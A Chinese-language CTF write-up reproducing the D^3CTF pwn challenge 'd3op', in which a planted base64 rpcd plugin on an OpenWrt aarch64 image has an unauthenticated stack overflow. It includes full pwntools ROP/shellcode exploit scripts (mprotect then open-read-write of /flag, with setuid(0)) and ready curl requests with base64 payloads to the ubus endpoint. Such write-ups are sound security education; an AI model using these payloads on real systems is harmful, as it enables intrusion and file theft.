D^3CTF Pwn d3op 复现报告

孩子才刚开始看内核啊……

ARM完全不会啊……

太菜了太菜了……

D^3CTF Pwn d3op 复现报告

附件下载地址:Here

init

首先解包文件系统。

1
unsquashfs squashfs-root.img

然后去/etc/os-release看一下发行版信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
NAME="OpenWrt"
VERSION="22.03.3"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 22.03.3"
VERSION_ID="22.03.3"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r20028-43d71ad93e"
OPENWRT_BOARD="armvirt/64"
OPENWRT_ARCH="aarch64_cortex-a53"
OPENWRT_TAINTS=""
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt 22.03.3 r20028-43d71ad93e"

要么魔改要么埋洞好像这两种说法没什么区别

先搜一波openwrt 22.03.3 download找到这里然后到下载页下载squashfs版本的镜像备用。

find diff

diff可以快速查找所有文件的不同,bindiff可以用来快速寻找二进制文件的不同。

但写完之后才发觉bindiff好像没用到

BinDiff Install: Official Page

选择对应版本即可。其余过程不再赘述。Windows端安装完成后IDA会自动识别该扩展。

我们来到WSL-debian这边。先解压好镜像备用,然后diff

1
diff -r --color=auto challenge-fsroot/ squashfs-root/

等一会,去除掉一些显然没啥用的信息,关键信息如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
diff -r '--color=auto' squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json challenge-fsroot/usr/share/rpcd/acl.d/unauthenticated.json
2,12c2,16
<       "unauthenticated": {
<               "description": "Access controls for unauthenticated requests",
<               "read": {
<                       "ubus": {
<                               "session": [
<                                       "access",
<                                       "login"
<                               ]
<                       }
<               }
<       }
---
>     "unauthenticated": {
>         "description": "Access controls for unauthenticated requests",
>         "read": {
>             "ubus": {
>                 "session": [
>                     "access",
>                     "login"
>                 ],
>                 "base64": [
>                     "decode",
>                     "encode"
>                 ]
>             }
>         }
>     }

Only in challenge-fsroot/usr/libexec/rpcd: base64

显然多了个base64,那拖一手IDA。

reverse

啥符号都没有,_start也不知道他在干嘛,先看一眼strings碰碰运气:

交叉引用encode/decode,就能找到这里:

显然41FE40是strcmp,4061AC是decode,405EC0是decode。

直接逆一手decode就可以发现他没查outputlen就直接decode了,decode的buf还在栈上,直接考虑栈溢出/ROP。

关于恢复符号表

效果并不好,可能是我的手法问题或者是工具本身的限制。

用过IDA的rizzo插件,用过Ghidra的Version Tracking,但效果都不好,出来的函数没几个。

做签名的musl-libc有自己编译的,也有去官网工具链下载的,但效果都差不多。

find gadget

参照这篇博客可以了解到aarch64架构的系统调用相关内容。

重点放在调用约定这里。

arch syscall NR return arg0 arg1 arg2 arg3 arg4 arg5
arm r7 r0 r0 r1 r2 r3 r4 r5
aarch64 x8 x0 x0 x1 x2 x3 x4 x5
x86 eax eax ebx ecx edx esi edi ebp
x86_64 rax rax rdi rsi rdx r10 r8 r9

然后对一些gadget做一下 x86 -> arm64 的转换

  • mov rax, SYSCALL_NR;syscall -> mov x8, SYSCALL_NR; svc 0

    x8存放系统调用号,svc 0目前来看相当于amd64的syscall

  • leave;ret -> ldp x29,x30,[sp]{,#offset}

    x29是栈指针,x30指向下一条指令

    相当于pop x29; pop x30; {add sp,#offset;} ret x30;

arm64没有pop,取而代之的是ldp一族。

所以找gadget可以围着ldp x29,x30,[sp]{,#offset};ret这么找:

1
2
3
ROPgadget --bin base64 --only "ldp|ret"
# 但对于本题出不来,加个ldr就能出来从栈上取x0和x1的gadget了。
ROPgadget --bin base64 --only "ldr|ldp|ret"

从decode返回时由于x29和x30已经被上一函数设定,所以只能在下一函数完全控制执行流程。好在返回后改了个x0就leave;ret了,没啥影响。

Nu1L的师傅使用的是ret2csu这段通用gadget。

反正可以栈溢出且溢出长度基本无限,乱搞喽。

construct payload

ROP已经完成了,那么我们来看看payload的前导内容。

往上追,看谁call了这个分流decode/encode操作的函数,可以看到还需要一个input字段。

参照官方的ubus文档可以大概了解到怎么构造请求包。结构贴在下面了。

1
2
3
4
5
6
7
8
{ "jsonrpc": "2.0",
  "id": <unique-id-to-identify-request>, 
  "method": "call",
  "params": [
             <ubus_rpc_session>, <ubus_object>, <ubus_method>, 
             { <ubus_arguments> }
            ]
}

而且文档里有这么一句话:

1
For calling procedures with parameters and returning responses it uses the user-friendly JSON format.

所以orw的shellcode,write的起始点必须是一个json结构的起始点。至于你放在哪里是无所谓的。实测如果没有json结构的话,返回值为2且没有任何其他内容。

再看一眼这里,

params的格式也就出来了。

未曾设想的道路

或者你curl一发:其实你如果能一眼看出来那就没必要了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl --locationcurl --location 'http://127.0.0.1:9999/ubus' \
--header 'Content-Type: application/json' \
--data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "list",
    "params": [
        "00000000000000000000000000000000",
        "base64"
    ]
}'

他会给你吐出来一个json:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "jsonrpc":"2.0",
  "id":1,
  "result":
  {
    "base64":
    {
      "encode":{"input":"string"},
      "decode":{"input":"string"}
    }
  }
}

怎么构造payload也知道了:

  • ubus_rpc_session32位0不用动,反正你从头到尾都是unauthenticated。
  • ubus_objectbase64
  • ubus_methoddecode
  • arguments就是"input":"$payload"

官方WP payload构造脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
import base64
context(log_level = "debug", arch = "aarch64")
# 0x00000000004494b8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
set_x0 = 0x00000000004494b8
# 0x00000000004010ec : ldr x1, [sp, #0x28] ; add x0, x1, x0 ; ldp x29, x30, [sp],0x30 ; ret
set_x1 = 0x00000000004010ec
# call mprotect(x0[0x92] + x0[0x94], x0[0x93] - x0[0x94], 7)
call_mprotect = 0x00000000004579A4
shellcode = shellcraft.aarch64.linux.open("/flag", 0)
shellcode += shellcraft.aarch64.linux.read(3, 0x4a23a4, 0x100)
shellcode += '''
MOV X3, X0
LDR X1, =0x22
LDR X2, =0x4a23a3
STRB W1, [X3, X2]
LDR X1, =0x7d
LDR X2, =0x4a23a4
STRB W1, [X3, X2]
'''
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2398, 0x100)
shellcode += '''
LDR X0, =1
LDR X9, =0x422D60
BLR X9
'''
payload = asm(shellcode)
payload = payload.ljust(0x200, b"\x00")
payload += p64(0)
payload += p64(0x4A3000)
payload += p64(0x4A2000)
payload = payload.ljust(0x300, b"\x00")
payload += b"{\"output\": \""
payload = payload.ljust(0x400, b"\x00")
payload += b"A\x00\x00\x00" # char1
payload += b"A\x00\x00\x00" # char2
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char4
payload += b"A\x00\x00\x00" # char4
payload += b"\x18\x06\x00\x00" # input length
payload += b"\x1d\x04\x00\x00" # output idx
payload += b"\x84\x05\x00\x00" # input idx
payload += b"\x92\x04\x00\x00" # output length
payload += p64(0x4A2500) # x29
payload += p64(set_x0) # x30
payload += p64(0) * 4
payload += p64(0x4A2500) # x29
payload += p64(call_mprotect) # x30
payload += p64(0x4A2298 - 0x490) # x0
payload += b"BBBBBBBB"
payload += b"CCCCCCCC"
payload += p64(0x4A2098)
payload += b"EEEEEEEE"
# p.sendline()
# p.interactive()
payload = base64.b64encode(payload)
print(payload)

ret2csu payload构造脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(arch="aarch64", os="linux", endian="little", log_level="debug")

shellcode='''
        /* setuid(uid=0) */
        mov x0, xzr
        /* call setuid() */
        mov x8, #146
        svc 0
        /* push '/flag\x00' */
        /* Set x14 = 444016125487 = 0x67616c662f */
        mov x14, #26159
        movk x14, #24940, lsl #16
        movk x14, #103, lsl #0x20
        str x14, [sp, #-16]!
        /* call openat(-0x64, 'sp', 'O_RDONLY', 'x3') */
        /* Set x0 = -100 = -0x64 */
        mov x0, #65436
        movk x0, #65535, lsl #16
        movk x0, #65535, lsl #0x20
        movk x0, #65535, lsl #0x30
        mov x1, sp
        mov x2, xzr
        mov x8, #56
        svc 0
        /* read(fd='x0', buf=0x4a22c0, nbytes=0x200) */
        /* Set x1 = 4858560 = 0x4a22c0 */
        mov x1, #8896
        movk x1, #74, lsl #16
        mov x2, #512
        /* call read() */
        mov x8, #63
        svc 0
        /* write(fd=1, buf=0x4a2298, n=0x103) */
        mov x0, #1
        /* Set x1 = 4858520 = 0x4a2298 */
        mov x1, #8856
        movk x1, #74, lsl #16
        mov x2, #259
        /* call write() */
        mov x8, #64
        svc 0
        /* exit(status=0) */
        mov x0, xzr
        /* call exit() */
        mov x8, #93
        svc 0
'''
gadget1=0x44396c
gadget2=0x443a10
mprotect=0x423340
bss=0x4a2098
shellcode=asm(shellcode)
payload=flat({
    0:[mprotect,b"a"*0x48,shellcode],
    0x200:b"{\"output\": \"",
    0x300:b"\"}\n",
    0x400:[b"U"*24,p32(0x6ff),b"\x28",bss,gadget1,0xdeadbeef,b"A"*0x18,bss+0x50,gadget2,0x4a2000,bss-0x40,0x7,0,0x2000,0,bss+0x50,bss+0x50,bss+0x50,0,0,0,0,0,b"B"*0x100]
})
print(base64.b64encode(payload))

debug

诸如qemugdb-multiarch等基础环境安装不再赘述。

start.sh中添加参数-gqemu暴露调试接口。

然后启动gdb-multiarch,然后target remote :1234,然后照常下断点即可。

可以看到循环结束,程序走到decode函数的ret时,栈中的内容已经变成我们预留的ROP。

然后走到就是mprotect改rwx然后走orw的shellcode了。

attack

payload1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
curl --location 'http://127.0.0.1:9999/ubus' \
--header 'Content-Type: application/json' \
--data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "call",
    "params": [
        "00000000000000000000000000000000",
        "base64",
        "decode",
        {
            "input": "7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADU4wMAquEBAFgCAgBYYWgiOAECAFgiAgBYYWgiOCAAgNIBc4TSQQmg8gIggNIICIDSAQAA1GABAFiJAQBYIAE/1iIAAAAAAAAAoyNKAAAAAAB9AAAAAAAAAKQjSgAAAAAAAQAAAAAAAABgLUIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwSgAAAAAAACBKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeyJvdXRwdXQiOiAiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEAAABBAAAAQQAAAEEAAABBAAAAQQAAABgGAAAdBAAAhAUAAJIEAAAAJUoAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJUoAAAAAAKR5RQAAAAAACB5KAAAAAABCQkJCQkJCQkNDQ0NDQ0NDmCBKAAAAAABFRUVFRUVFRQ=="
        }
    ]
}'

payload2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
curl --location 'http://127.0.0.1:9999/ubus' \
--header 'Content-Type: application/json' \
--data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "call",
    "params": [
        "00000000000000000000000000000000",
        "base64",
        "decode",
        {
            "input": "QDNCAAAAAABhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHgAx+qSBKA0gEAANTuxYzSji2s8u4MwPLuDx/4gPOf0uD/v/Lg/9/y4P//8uEDAJHiAx+qCAeA0gEAANQBWITSQQmg8gJAgNLoB4DSAQAA1CAAgNIBU4TSQQmg8mIggNIICIDSAQAA1OADH6qoC4DSAQAA1HlhYWJ6YWFjYmFhY2NhYWNkYWFjZWFhY2ZhYWNnYWFjaGFhY2lhYWNqYWFja2FhY2xhYWNtYWFjbmFhY29hYWNwYWFjcWFhY3JhYWNzYWFjdGFhY3VhYWN2YWFjd2FhY3hhYWN5YWFjemFhZGJhYWRjYWFkZGFhZGVhYWRmYWFkZ2FhZGhhYWRpYWFkamFhZGthYWRsYWFkbWFhZG5hYWRvYWFkcGFhZHFhYWRyYWFkc2FhZHRhYWR1YWFkdmFhZHdhYWR4YWFkeWFhZHphYWViYWFlY2FhZWRhYWVlYWFlZmFhZWdhYWVoYWFlaWFhZWphYWVrYWFlbGFhZW1hYWVuYWFlb2FhZXBhYWVxYWFlcmFhZXNhYWV0YWFldWFhZXZhYWV3YWFleGFhZXlhYWV6YWFmYmFhZmNhYWZ7Im91dHB1dCI6ICJnYWFmaGFhZmlhYWZqYWFma2FhZmxhYWZtYWFmbmFhZm9hYWZwYWFmcWFhZnJhYWZzYWFmdGFhZnVhYWZ2YWFmd2FhZnhhYWZ5YWFmemFhZ2JhYWdjYWFnZGFhZ2VhYWdmYWFnZ2FhZ2hhYWdpYWFnamFhZ2thYWdsYWFnbWFhZ25hYWdvYWFncGFhZ3FhYWdyYWFnc2FhZ3RhYWd1YWFndmFhZ3dhYWd4YWFneWFhZ3phYWhiYWFoY2FhaGRhYWhlYWFoZmFhaGdhYWhoYWFoaWFhaGphYWhrYWFobGFhaG1hYWhuYWFob2FhaHBhYWhxYWFoIn0KaHNhYWh0YWFodWFhaHZhYWh3YWFoeGFhaHlhYWh6YWFpYmFhaWNhYWlkYWFpZWFhaWZhYWlnYWFpaGFhaWlhYWlqYWFpa2FhaWxhYWltYWFpbmFhaW9hYWlwYWFpcWFhaXJhYWlzYWFpdGFhaXVhYWl2YWFpd2FhaXhhYWl5YWFpemFhamJhYWpjYWFqZGFhamVhYWpmYWFqZ2FhamhhYWppYWFqamFhamthYWpsYWFqbWFham5hYWpvYWFqcGFhanFhYWpyYWFqc2FhanRhYWp1YWFqdmFhandhYWp4YWFqeWFhanphYWtiYWFrY2Fha2RhYWtlYWFrZmFha1VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf8GAAAomCBKAAAAAABsOUQAAAAAAO++rd4AAAAAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB6CBKAAAAAAAQOkQAAAAAAAAgSgAAAAAAWCBKAAAAAAAHAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAOggSgAAAAAA6CBKAAAAAADoIEoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
        }
    ]
}'
0%